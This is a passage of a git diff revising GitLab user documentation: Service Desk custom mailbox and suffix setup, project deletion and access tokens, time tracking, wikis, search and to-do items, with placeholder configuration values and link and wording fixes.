requirements as Satisfied (you may manually satisfy a requirement in the edit form [edit a requirement](#edit-a-requirement)).
diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md
index dd646a54b43..d46e55ca005 100644
--- a/doc/user/project/service_desk.md
+++ b/doc/user/project/service_desk.md
@@ -147,7 +147,7 @@ To use a custom issue template with Service Desk, in your project:
1. Go to **Settings > General > Service Desk**.
1. From the dropdown **Template to append to all Service Desk issues**, select your template.
-### Using custom email display name
+### Using a custom email display name
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7529) in GitLab 12.8.
@@ -160,22 +160,29 @@ To edit the custom email display name:
1. Enter a new name in **Email display name**.
1. Select **Save Changes**.
-### Using custom email address **(FREE SELF)**
+### Using a custom email address **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in GitLab Premium 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284656) in GitLab 13.8.
-If the `service_desk_email` is configured, then you can create Service Desk
-issues by sending emails to the Service Desk email address. The default
-address has the following format:
-`project_contact+%{key}@example.com`.
+It is possible to customize the email address used by Service Desk. To do this, you must configure
+both a [custom mailbox](#configuring-a-custom-mailbox) and a
+[custom suffix](#configuring-a-custom-email-address-suffix).
-The `%{key}` part is used to find the project where the issue should be created. The
-`%{key}` part combines the path to the project and configurable project name suffix:
-`<project_full_path>-<project_name_suffix>`.
+#### Configuring a custom mailbox
-You can set the project name suffix in your project's Service Desk settings.
-It can contain only lowercase letters (`a-z`), numbers (`0-9`), or underscores (`_`).
+NOTE:
+On GitLab.com a custom mailbox is already configured with `contact-project+%{key}@incoming.gitlab.com` as the email address, so you only have to configure the
+[custom suffix](#configuring-a-custom-email-address-suffix) in project settings.
+
+Using the `service_desk_email` configuration, you can customize the mailbox
+used by Service Desk. This allows you to have a separate email address for
+Service Desk by also configuring a [custom suffix](#configuring-a-custom-email-address-suffix)
+in project settings.
+
+The `address` must include the `+%{key}` placeholder within the 'user'
+portion of the address, before the `@`. This is used to identify the project
+where the issue should be created.
NOTE:
The `service_desk_email` and `incoming_email` configurations should
@@ -183,7 +190,7 @@ always use separate mailboxes. This is important, because emails picked from
`service_desk_email` mailbox are processed by a different worker and it would
not recognize `incoming_email` emails.
-To configure a custom email address for Service Desk with IMAP, add the following snippets to your configuration file:
+To configure a custom mailbox for Service Desk with IMAP, add the following snippets to your configuration file in full:
- Example for installations from source:
@@ -207,57 +214,37 @@ To configure a custom email address for Service Desk with IMAP, add the followin
```ruby
gitlab_rails['service_desk_email_enabled'] = true
-
gitlab_rails['service_desk_email_address'] = "project_contact+%{key}@gmail.com"
-
gitlab_rails['service_desk_email_email'] = "project_support@gmail.com"
-
gitlab_rails['service_desk_email_password'] = "[REDACTED]"
-
gitlab_rails['service_desk_email_mailbox_name'] = "inbox"
-
gitlab_rails['service_desk_email_idle_timeout'] = 60
-
gitlab_rails['service_desk_email_log_file'] = "/var/log/gitlab/mailroom/mail_room_json.log"
-
gitlab_rails['service_desk_email_host'] = "imap.gmail.com"
-
gitlab_rails['service_desk_email_port'] = 993
-
gitlab_rails['service_desk_email_ssl'] = true
-
gitlab_rails['service_desk_email_start_tls'] = false
```
-In this case, suppose the `mygroup/myproject` project Service Desk settings has the project name
-suffix set to `support`, and a user sends an email to `project_contact+mygroup-myproject-support@example.com`.
-As a result, a new Service Desk issue is created from this email in the `mygroup/myproject` project.
-
The configuration options are the same as for configuring
[incoming email](../../administration/incoming_email.md#set-it-up).
-#### Microsoft Graph
+##### Microsoft Graph
> Introduced in [GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/214900)
Service Desk can be configured to read Microsoft Exchange Online mailboxes with the Microsoft
-Graph API instead of IMAP. Follow the [documentation in the incoming e-mail section for setting up an OAuth2 application for Microsoft Graph](../../administration/incoming_email.md#microsoft-graph).
+Graph API instead of IMAP. Follow the [documentation in the incoming email section for setting up an OAuth2 application for Microsoft Graph](../../administration/incoming_email.md#microsoft-graph).
- Example for Omnibus GitLab installations:
```ruby
gitlab_rails['service_desk_email_enabled'] = true
-
gitlab_rails['service_desk_email_address'] = "project_contact+%{key}@example.onmicrosoft.com"
-
gitlab_rails['service_desk_email_email'] = "project_contact@example.onmicrosoft.com"
-
gitlab_rails['service_desk_email_mailbox_name'] = "inbox"
-
gitlab_rails['service_desk_email_log_file'] = "/var/log/gitlab/mailroom/mail_room_json.log"
-
gitlab_rails['service_desk_inbox_method'] = 'microsoft_graph'
-
gitlab_rails['service_desk_inbox_options'] = {
'tenant_id': '<YOUR-TENANT-ID>',
'client_id': '<YOUR-CLIENT-ID>',
@@ -268,6 +255,22 @@ Graph API instead of IMAP. Follow the [documentation in the incoming e-mail sect
The Microsoft Graph API is not yet supported in source installations. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326169) for more details.
+#### Configuring a custom email address suffix
+
+You can set a custom suffix in your project's Service Desk settings once you have configured a [custom mailbox](#configuring-a-custom-mailbox).
+It can contain only lowercase letters (`a-z`), numbers (`0-9`), or underscores (`_`).
+
+When configured, the custom suffix creates a new Service Desk email address, consisting of the
+`service_desk_email_address` setting and a key of the format: `<project_full_path>-<custom_suffix>`
+
+For example, suppose the `mygroup/myproject` project Service Desk settings has the following configured:
+
+- Project name suffix is set to `support`.
+- Service Desk email address is configured to `contact+%{key}@example.com`.
+
+The Service Desk email address for this project is: `contact+mygroup-myproject-support@example.com`.
+The [incoming email](../../administration/incoming_email.md) address still works.
+
## Using Service Desk
You can use Service Desk to [create an issue](#as-an-end-user-issue-creator) or [respond to one](#as-a-responder-to-the-issue).
diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md
index 890784cecf5..d5fdb86c9b0 100644
--- a/doc/user/project/settings/import_export.md
+++ b/doc/user/project/settings/import_export.md
@@ -110,7 +110,7 @@ and the exports between them are compatible.
You can export projects from the [Community Edition to the Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/) and vice versa.
This assumes [version history](#version-history) requirements are met.
-If you're exporting a project from the Enterprise Edition to the Community Edition, you may lose data that is retained only in the Enterprise Edition. For more information, see [downgrading from EE to CE](../../../README.md).
+If you're exporting a project from the Enterprise Edition to the Community Edition, you may lose data that is retained only in the Enterprise Edition. For more information, see [downgrading from EE to CE](../../../index.md).
## Exported contents
@@ -156,7 +156,7 @@ To export a project and its data, follow these steps:
![Export button](img/import_export_export_button.png)
-1. Once the export is generated, you should receive an e-mail with a link to
+1. Once the export is generated, you should receive an email with a link to
download the file:
![Email download link](img/import_export_mail_link.png)
@@ -183,7 +183,7 @@ To export a project and its data, follow these steps:
NOTE:
If use of the `Internal` visibility level
-[is restricted](../../../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects),
+[is restricted](../../../public_access/public_access.md#restrict-use-of-public-or-internal-projects),
all imported projects are given the visibility of `Private`.
NOTE:
diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md
index 03a77e42765..d79d9f5b9dc 100644
--- a/doc/user/project/settings/index.md
+++ b/doc/user/project/settings/index.md
@@ -165,7 +165,7 @@ cannot change them:
- Includes any jobs that drive the logic of your job.
- Explicitly set the container image file to run the job in. This ensures that your script
steps execute in the correct environment.
-- Explicitly set any relevant GitLab pre-defined [job keywords](../../../ci/yaml/README.md#job-keywords).
+- Explicitly set any relevant GitLab pre-defined [job keywords](../../../ci/yaml/index.md#job-keywords).
This ensures that your job uses the settings you intend and that they are not overriden by
project-level pipelines.
@@ -188,8 +188,8 @@ Use the switches to enable or disable the following features:
| **Issues** | ✓ | Activates the GitLab issues tracker |
| **Repository** | ✓ | Enables [repository](../repository/) functionality |
| **Merge Requests** | ✓ | Enables [merge request](../merge_requests/) functionality; also see [Merge request settings](#merge-request-settings) |
-| **Forks** | ✓ | Enables [forking](../working_with_projects.md#fork-a-project) functionality |
-| **Pipelines** | ✓ | Enables [CI/CD](../../../ci/README.md) functionality |
+| **Forks** | ✓ | Enables [forking](../repository/forking_workflow.md) functionality |
+| **Pipelines** | ✓ | Enables [CI/CD](../../../ci/index.md) functionality |
| **Container Registry** | | Activates a [registry](../../packages/container_registry/) for your Docker images |
| **Git Large File Storage** | | Enables the use of [large files](../../../topics/git/lfs/index.md#git-large-file-storage-lfs) |
| **Packages** | | Supports configuration of a [package registry](../../../administration/packages/index.md#gitlab-package-registry-administration) functionality |
@@ -251,7 +251,7 @@ Set up your project's merge request settings:
- Enable [merge request approvals](../merge_requests/approvals/index.md).
- Enable [status checks](../merge_requests/status_checks.md).
- Enable [merge only if pipeline succeeds](../merge_requests/merge_when_pipeline_succeeds.md).
-- Enable [merge only when all threads are resolved](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved).
+- Enable [merge only when all threads are resolved](../../discussions/index.md#prevent-merge-unless-all-threads-are-resolved).
- Enable [require an associated issue from Jira](../../../integration/jira/issues.md#require-associated-jira-issue-for-merge-requests-to-be-merged).
- Enable [`delete source branch after merge` option by default](../merge_requests/getting_started.md#deleting-the-source-branch).
- Configure [suggested changes commit messages](../merge_requests/reviews/suggestions.md#configure-the-commit-message-for-applied-suggestions).
@@ -267,7 +267,8 @@ Learn how to [export a project](import_export.md#importing-the-project) in GitLa
### Advanced settings
-Here you can run housekeeping, archive, rename, transfer, [remove a fork relationship](#removing-a-fork-relationship), or remove a project.
+Here you can run housekeeping, archive, rename, transfer,
+[remove a fork relationship](#removing-a-fork-relationship), or delete a project.
#### Archiving a project
@@ -363,28 +364,54 @@ namespace if needed.
#### Delete a project
-NOTE:
-Only project Owners and administrators have [permissions](../../permissions.md#project-members-permissions) to delete a project.
+You can mark a project to be deleted.
+
+Prerequisite:
+
+- You must have at least the Owner role for a project.
To delete a project:
-1. Navigate to your project, and select **Settings > General > Advanced**.
-1. In the "Delete project" section, click the **Delete project** button.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Advanced**.
+1. In the "Delete project" section, select **Delete project**.
1. Confirm the action when asked to.
-This action:
+This action deletes a project including all associated resources (issues, merge requests, and so on).
-- Deletes a project including all associated resources (issues, merge requests etc).
-- From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium](https://about.gitlab.com/pricing/) or higher tiers,
- group Owners can [configure](../../group/index.md#enable-delayed-project-removal) projects within a group
- to be deleted after a delayed period.
- When enabled, actual deletion happens after number of days
- specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
+In [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) and later, on Premium or higher tiers,
+group Owners can [configure](../../group/index.md#enable-delayed-project-removal) projects in a group
+to be deleted after a delayed period.
+When enabled, actual deletion happens after number of days
+specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
WARNING:
-The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
+The default behavior of [delayed project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
[Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
+#### Delete a project immediately **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/191367) in GitLab 14.1.
+
+If you don't want to wait, you can delete a project immediately.
+
+Prerequisites:
+
+- You must have at least the Owner role for a project.
+- You have [marked the project for deletion](#delete-a-project).
+
+To immediately delete a project marked for deletion:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Advanced**.
+1. In the "Permanently delete project" section, select **Delete project**.
+1. Confirm the action when asked to.
+
+Your project, its repository, and all related resources, including issues and merge requests,
+are deleted.
+
#### Restore a project **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6.
diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md
index d7121239610..5e045ee2455 100644
--- a/doc/user/project/settings/project_access_tokens.md
+++ b/doc/user/project/settings/project_access_tokens.md
@@ -8,20 +8,24 @@ type: reference, howto
# Project access tokens
NOTE:
-Project access tokens are supported for self-managed instances on Free and above. They are also supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)).
+Project access tokens are supported for self-managed instances on Free and above. They are also supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)). Self-managed Free instances should review their security and compliance policies with regards to [user self-enrollment](../../admin_area/settings/sign_up_restrictions.md#disable-new-sign-ups) and consider [disabling project access tokens](#enable-or-disable-project-access-token-creation) to lower potential abuse.
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2587) in GitLab 13.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210181) in GitLab 13.0.
> - [Became available on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in GitLab 13.5 for paid groups only.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in GitLab 13.5.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
-Project access tokens are scoped to a project and can be used to authenticate with the [GitLab API](../../../api/README.md#personalproject-access-tokens). You can also use project access tokens with Git to authenticate over HTTP.
+Project access tokens are scoped to a project and can be used to authenticate with the
+[GitLab API](../../../api/index.md#personalproject-access-tokens). You can also use
+project access tokens with Git to authenticate over HTTPS. If you are asked for a
+username when authenticating over HTTPS, you can use any non-empty value because only
+the token is needed.
Project access tokens expire on the date you define, at midnight UTC.
-For examples of how you can use a project access token to authenticate with the API, see the following section from our [API Docs](../../../api/README.md#personalproject-access-tokens).
+For examples of how you can use a project access token to authenticate with the API, see the following section from our [API Docs](../../../api/index.md#personalproject-access-tokens).
## Creating a project access token
@@ -29,17 +33,21 @@ For examples of how you can use a project access token to authenticate with the
1. Navigate to the project you would like to create an access token for.
1. In the **Settings** menu choose **Access Tokens**.
1. Choose a name and optional expiry date for the token.
+1. Choose a role for the token.
1. Choose the [desired scopes](#limiting-scopes-of-a-project-access-token).
1. Click the **Create project access token** button.
1. Save the project access token somewhere safe. Once you leave or refresh
- the page, you won't be able to access it again.
+ the page, you don't have access to it again.
## Project bot users
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210181) in GitLab 13.0.
+> - [Excluded from license seat use](https://gitlab.com/gitlab-org/gitlab/-/issues/223695) in GitLab 13.5.
+
Project bot users are [GitLab-created service accounts](../../../subscriptions/self_managed/index.md#billable-users) and do not count as licensed seats.
For each project access token created, a bot user is created and added to the project with
-[Maintainer level permissions](../../permissions.md#project-members-permissions).
+the [specified level permissions](../../permissions.md#project-members-permissions).
For the bot:
diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md
index b7fd14ae74b..29aedb33003 100644
--- a/doc/user/project/time_tracking.md
+++ b/doc/user/project/time_tracking.md
@@ -6,16 +6,12 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Time Tracking
+# Time tracking **(FREE)**
-> Introduced in GitLab 8.14.
+With time tracking you can track estimates and time spent on issues and merge
+requests in GitLab.
-Time Tracking allows you to track estimates and time spent on issues and merge
-requests within GitLab.
-
-## Overview
-
-Time Tracking allows you to:
+Use time tracking for these tasks:
- Record the time spent working on an issue or a merge request.
- Add an estimate of the amount of time needed to complete an issue or a merge
@@ -24,14 +20,13 @@ Time Tracking allows you to:
You don't have to indicate an estimate to enter the time spent, and vice versa.
-Data about time tracking is shown on the issue/merge request sidebar, as shown
-below.
+Data about time tracking shows up on the issue and merge request sidebar:
![Time tracking in the sidebar](img/time_tracking_sidebar_v13_12.png)
## How to enter data
-Time Tracking uses two [quick actions](quick_actions.md): `/spend` and `/estimate`.
+Time tracking uses two [quick actions](quick_actions.md): `/spend` and `/estimate`.
If you use either quick action more than once in a single comment, only the last occurrence is applied.
@@ -44,9 +39,10 @@ with [Reporter and higher permission levels](../permissions.md).
### Estimates
-To enter an estimate, write `/estimate`, followed by the time. For example, if
-you need to enter an estimate of 1 month, 2 weeks, 3 days, 4 hours and 5 minutes,
-write `/estimate 1mo 2w 3d 4h 5m`.
+To enter an estimate, type `/estimate`, followed by the time.
+
+For example, if you need to enter an estimate of 1 month, 2 weeks, 3 days, 4 hours, and 5 minutes,
+type `/estimate 1mo 2w 3d 4h 5m`.
Check the [time units you can use](#configuration).
Every time you enter a new time estimate, any previous time estimates are
@@ -57,21 +53,22 @@ To remove an estimation entirely, use `/remove_estimate`.
### Time spent
-To enter time spent, write `/spend`, followed by the time. For example, if you need
-to log 1 month, 2 weeks, 3 days, 4 hours and 5 minutes, you would write `/spend 1mo 2w 3d 4h 5m`.
-Time units that we support are listed at the bottom of this help page.
+To enter time spent, type `/spend`, followed by the time.
+
+For example, if you need
+to log 1 month, 2 weeks, 3 days, 4 hours, and 5 minutes, type `/spend 1mo 2w 3d 4h 5m`.
+Check the [time units you can use](#configuration).
Every new time spent entry is added to the current total time spent for the
issue or the merge request.
-You can remove time by entering a negative amount: for example, `/spend -3d` removes three
+To subtract time, enter a negative value. For example, `/spend -3d` removes three
days from the total time spent. You can't go below 0 minutes of time spent,
-so GitLab automatically resets the time spent if you remove a larger amount
-of time compared to the time that was entered already.
+so if you remove more time than already entered, GitLab ignores the subtraction.
You can log time in the past by providing a date after the time.
For example, if you want to log 1 hour of time spent on the 31 January 2021,
-you would write `/spend 1h 2021-01-31`. If you supply a date in the future, the
+you would type `/spend 1h 2021-01-31`. If you supply a date in the future, the
command fails and no time is logged.
To remove all the time spent at once, use `/remove_time_spent`.
@@ -97,13 +94,13 @@ The breakdown of spent time is limited to a maximum of 100 entries.
The following time units are available:
-- Months (mo)
-- Weeks (w)
-- Days (d)
-- Hours (h)
-- Minutes (m)
-
-Default conversion rates are 1mo = 4w, 1w = 5d and 1d = 8h.
+| Time unit | What to type | Default conversion rate |
+| --------- | ------------ | ----------------------- |
+| Month | `mo` | 4w |
+| Week | `w` | 5d |
+| Day | `d` | 8h |
+| Hour | `h` | 60m |
+| Minute | `m` | |
### Limit displayed units to hours **(FREE SELF)**
@@ -121,11 +118,11 @@ To do so:
With this option enabled, `75h` is displayed instead of `1w 4d 3h`.
-## Other interesting links
+## Related links
-- [Time Tracking solutions page](https://about.gitlab.com/solutions/time-tracking/)
-- Time Tracking GraphQL references:
+- [Time tracking solutions page](https://about.gitlab.com/solutions/time-tracking/)
+- Time tracking GraphQL references:
- [Connection](../../api/graphql/reference/index.md#timelogconnection)
- [Edge](../../api/graphql/reference/index.md#timelogedge)
- [Fields](../../api/graphql/reference/index.md#timelog)
- - [Group Timelogs](../../api/graphql/reference/index.md#grouptimelogs)
+ - [Group timelogs](../../api/graphql/reference/index.md#grouptimelogs)
diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md
index 0e597725611..722505304c0 100644
--- a/doc/user/project/web_ide/index.md
+++ b/doc/user/project/web_ide/index.md
@@ -331,7 +331,7 @@ The [File Sync](#file-syncing-to-web-terminal) feature is supported on Kubernete
In order to enable the Web IDE terminals you need to create the file
`.gitlab/.gitlab-webide.yml` inside the repository's root. This
-file is fairly similar to the [CI configuration file](../../../ci/yaml/README.md)
+file is fairly similar to the [CI configuration file](../../../ci/yaml/index.md)
syntax but with some restrictions:
- No global blocks (such as `before_script` or `after_script`) can be defined.
diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md
index ed6a51665bd..527db38c980 100644
--- a/doc/user/project/wiki/index.md
+++ b/doc/user/project/wiki/index.md
@@ -44,7 +44,7 @@ users see when viewing the wiki:
## Create a new wiki page
-Users with Developer [permissions](../../permissions.md) can create new wiki pages:
+Users with the [Developer role](../../permissions.md) can create new wiki pages:
1. Go to your project or group and select **Wiki**.
1. Select **New page** on this page, or any other wiki page.
@@ -108,7 +108,7 @@ may not be able to check out the wiki locally afterward.
## Edit a wiki page
-You need Developer [permissions](../../permissions.md) or higher to edit a wiki page:
+You need the [Developer role](../../permissions.md) or higher to edit a wiki page:
1. Go to your project or group and select **Wiki**.
1. Go to the page you want to edit.
@@ -133,7 +133,7 @@ You need the [Maintainer role](../../permissions.md) or higher to delete a wiki
## Move a wiki page
-You need Developer [permissions](../../permissions.md) or higher to move a wiki page:
+You need the [Developer role](../../permissions.md) or higher to move a wiki page:
1. Go to your project or group and select **Wiki**.
1. Go to the page you want to move.
@@ -234,7 +234,7 @@ wikis, with a few limitations:
For updates, follow [the epic that tracks feature parity with project wikis](https://gitlab.com/groups/gitlab-org/-/epics/2782).
-Group wikis can be edited by members with [Developer permissions](../../permissions.md#group-members-permissions)
+Group wikis can be edited by members with the [Developer role](../../permissions.md#group-members-permissions)
and above. Group wiki repositories can be moved using the
[Group repository storage moves API](../../../api/group_repository_storage_moves.md).
diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md
index a0b20f5c86d..08b63bfed5f 100644
--- a/doc/user/project/working_with_projects.md
+++ b/doc/user/project/working_with_projects.md
@@ -14,12 +14,17 @@ code are saved in projects, and most features are in the scope of projects.
You can explore other popular projects available on GitLab. To explore projects:
1. On the top bar, select **Menu > Project**.
-1. Select **Explore Projects**.
+1. Select **Explore projects**.
GitLab displays a list of projects, sorted by last updated date. To view
projects with the most [stars](#star-a-project), click **Most stars**. To view
projects with the largest number of comments in the past month, click **Trending**.
+NOTE:
+By default, `/explore` is visible to unauthenticated users. However, if the
+[**Public** visibility level](../admin_area/settings/visibility_and_access_controls.md#restricted-visibility-levels)
+is restricted, `/explore` is visible only to signed-in users.
+
## Create a project
To create a project in GitLab:
@@ -84,7 +89,7 @@ Built-in templates are project templates that are:
- Developed and maintained in the [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
and [`pages`](https://gitlab.com/pages) groups.
- Released with GitLab.
-- Anyone can contribute a built-in template by following [these steps](https://about.gitlab.com/community/contribute/project-templates).
+- Anyone can contribute a built-in template by following [these steps](https://about.gitlab.com/community/contribute/project-templates/).
To use a built-in template on the **New project** page:
@@ -148,7 +153,7 @@ and then [cloning the repository](../../gitlab-basics/start-using-git.md#clone-a
locally, you can directly push it to GitLab to create the new project, all without leaving
your terminal. If you have access rights to the associated namespace, GitLab
automatically creates a new project under that GitLab namespace with its visibility
-set to Private by default (you can later change it in the [project's settings](../../public_access/public_access.md#how-to-change-project-visibility)).
+set to Private by default (you can later change it in the [project's settings](../../public_access/public_access.md#change-project-visibility)).
This can be done by using either SSH or HTTPS:
diff --git a/doc/user/search/advanced_search.md b/doc/user/search/advanced_search.md
index 20a2a7263c3..bb74a035121 100644
--- a/doc/user/search/advanced_search.md
+++ b/doc/user/search/advanced_search.md
@@ -12,6 +12,7 @@ type: reference
NOTE:
This is the user documentation. To configure the Advanced Search,
visit the [administrator documentation](../../integration/elasticsearch.md).
+Advanced Search is enabled in GitLab.com.
GitLab Advanced Search expands on the Basic Search with an additional set of
features for faster, more advanced searches across the entire GitLab instance
@@ -34,6 +35,11 @@ The Advanced Search can be useful in various scenarios:
Advanced Search is based on Elasticsearch, which is a purpose-built full
text search engine that can be horizontally scaled so that it can provide
search results in 1-2 seconds in most cases.
+- **Code Maintenance:**
+ Finding all the code that needs to be updated at once across an entire
+ instance can save time spent maintaining code.
+ This is especially helpful for organizations with more than 10 active projects.
+ This can also help build confidence is code refactoring to identify unknown impacts.
- **Promote innersourcing:**
Your company may consist of many different developer teams each of which has
their own group where the various projects are hosted. Some of your applications
diff --git a/doc/user/search/index.md b/doc/user/search/index.md
index 0cdaa3150c5..d90841fae88 100644
--- a/doc/user/search/index.md
+++ b/doc/user/search/index.md
@@ -17,9 +17,9 @@ and to-do items are assigned to you:
![issues and MRs dashboard links](img/dashboard_links_v13_11.png)
-- **(issues)** **Issues**: The open issues assigned to you.
-- **(merge-request-open)** **Merge requests**: The [merge requests](../project/merge_requests/index.md) assigned to you.
-- **(todo-done)** **To-do items**: The [to-do items](../todos.md) assigned to you.
+- **{issues}** **Issues**: The open issues assigned to you.
+- **{merge-request-open}** **Merge requests**: The [merge requests](../project/merge_requests/index.md) assigned to you.
+- **{todo-done}** **To-do items**: The [to-do items](../todos.md) assigned to you.
When you click **Issues**, GitLab shows the opened issues assigned to you:
@@ -39,9 +39,9 @@ in the search field in the upper right corner:
### Filtering issue and merge request lists
-> - Filtering by Epics was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195704) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9.
-> - Filtering by child Epics was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9029) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0.
-> - Filtering by Iterations was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6. [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9.
+> - Filtering by Epics was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195704) in GitLab Ultimate 12.9.
+> - Filtering by child Epics was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9029) in GitLab Ultimate 13.0.
+> - Filtering by Iterations was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6. Moved to GitLab Premium in 13.9.
Follow these steps to filter the **Issues** and **Merge Requests** list pages in projects and
groups:
@@ -107,7 +107,7 @@ You can filter the **Issues** list to individual instances by their ID. For exam
### Filtering merge requests by approvers **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9468) in GitLab 11.9.
-> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9.
+> - Moved to GitLab Premium in 13.9.
To filter merge requests by an individual approver, you can type (or select from
the dropdown) **Approver** and select the user.
@@ -117,7 +117,7 @@ the dropdown) **Approver** and select the user.
### Filtering merge requests by "approved by" **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30335) in GitLab 13.0.
-> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9.
+> - Moved to GitLab Premium in 13.9.
To filter merge requests already approved by a specific individual, you can type (or select from
the dropdown) **Approved-By** and select the user.
diff --git a/doc/user/snippets.md b/doc/user/snippets.md
index 4b3f9e78c7b..9fb6152168e 100644
--- a/doc/user/snippets.md
+++ b/doc/user/snippets.md
@@ -128,9 +128,9 @@ A single snippet can support up to 10 files, which helps keep related files toge
If you need more than 10 files for your snippet, we recommend you create a
[wiki](project/wiki/index.md) instead. Wikis are available for projects at all
subscription levels, and [groups](project/wiki/index.md#group-wikis) for
-[GitLab Premium](https://about.gitlab.com/pricing).
+[GitLab Premium](https://about.gitlab.com/pricing/).
-Snippets with multiple files display a file count in the [snippet list](http://snippets.gitlab.com/):
+Snippets with multiple files display a file count in the [snippet list](https://gitlab.com/dashboard/snippets):
![Example of snippet](img/snippet_tooltip_v13_10.png)
diff --git a/doc/user/todos.md b/doc/user/todos.md
index 4227f46dfa8..719ab6f6e7c 100644
--- a/doc/user/todos.md
+++ b/doc/user/todos.md
@@ -52,11 +52,11 @@ A to-do item appears on your To-Do List when:
pipeline succeeds.
- [In GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/12136) and later, a
merge request is removed from a
- [merge train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md),
+ [merge train](../ci/pipelines/merge_trains.md),
and you're the user that added it.
When several trigger actions occur for the same user on the same object (for
-example, an issue), GitLab displays only the first action as a single to do
+example, an issue), GitLab displays only the first action as a single to-do
item.
To-do item triggers aren't affected by [GitLab notification email settings](profile/notifications.md).
@@ -99,7 +99,7 @@ You can also add the following to your To-Do List by clicking the **Add a to do*
- [Epics](group/epics/index.md)
- [Designs](project/issues/design_management.md)
-![Adding a to-do item from the issuable sidebar](img/todos_add_todo_sidebar.png)
+![Adding a to-do item from the issuable sidebar](img/todos_add_todo_sidebar_v14_1.png)
## Marking a to-do item as done
@@ -129,12 +129,12 @@ If no action is needed, you can manually mark the to-do item as done by
clicking its corresponding **Done** button to have GitLab remove the item from
your To-Do List.
-![A to do in the To-Do List](img/todos_todo_list_item.png)
+![A to-do in the To-Do List](img/todos_todo_list_item.png)
You can also mark a to-do item as done by clicking the **Mark as done** button
in the sidebar of an issue, merge request, or epic.
-![Mark as done from the issuable sidebar](img/todos_mark_done_sidebar.png)
+![Mark as done from the issuable sidebar](img/todos_mark_done_sidebar_v14_1.png)
You can mark all your to-do items as done at once by clicking the
**Mark all as done** button.
@@ -147,9 +147,9 @@ You can use the following types of filters with your To-Do List:
| ------- | ---------------------------------------------------------------- |
| Project | Filter by project. |
| Group | Filter by group. |
-| Author | Filter by the author that triggered the to do. |
+| Author | Filter by the author that triggered the to-do item. |
| Type | Filter by issue, merge request, design, or epic. |
-| Action | Filter by the action that triggered the to do. |
+| Action | Filter by the action that triggered the to-do item. |
You can also filter by more than one of these at the same time. The previously
described [triggering actions](#what-triggers-a-to-do-item) include:
diff --git a/doc/user/workspace/img/1.1-Instance_overview.png b/doc/user/workspace/img/1.1-Instance_overview.png
new file mode 100644
index 00000000000..7612cc7c092
--- /dev/null
+++ b/doc/user/workspace/img/1.1-Instance_overview.png
Binary files differ
diff --git a/doc/user/workspace/img/1.2-Groups_overview.png b/doc/user/workspace/img/1.2-Groups_overview.png
new file mode 100644
index 00000000000..b4f034bba16
--- /dev/null
+++ b/doc/user/workspace/img/1.2-Groups_overview.png
Binary files differ
diff --git a/doc/user/workspace/img/1.3-Admin.png b/doc/user/workspace/img/1.3-Admin.png
new file mode 100644
index 00000000000..018ed8a1bfc
--- /dev/null
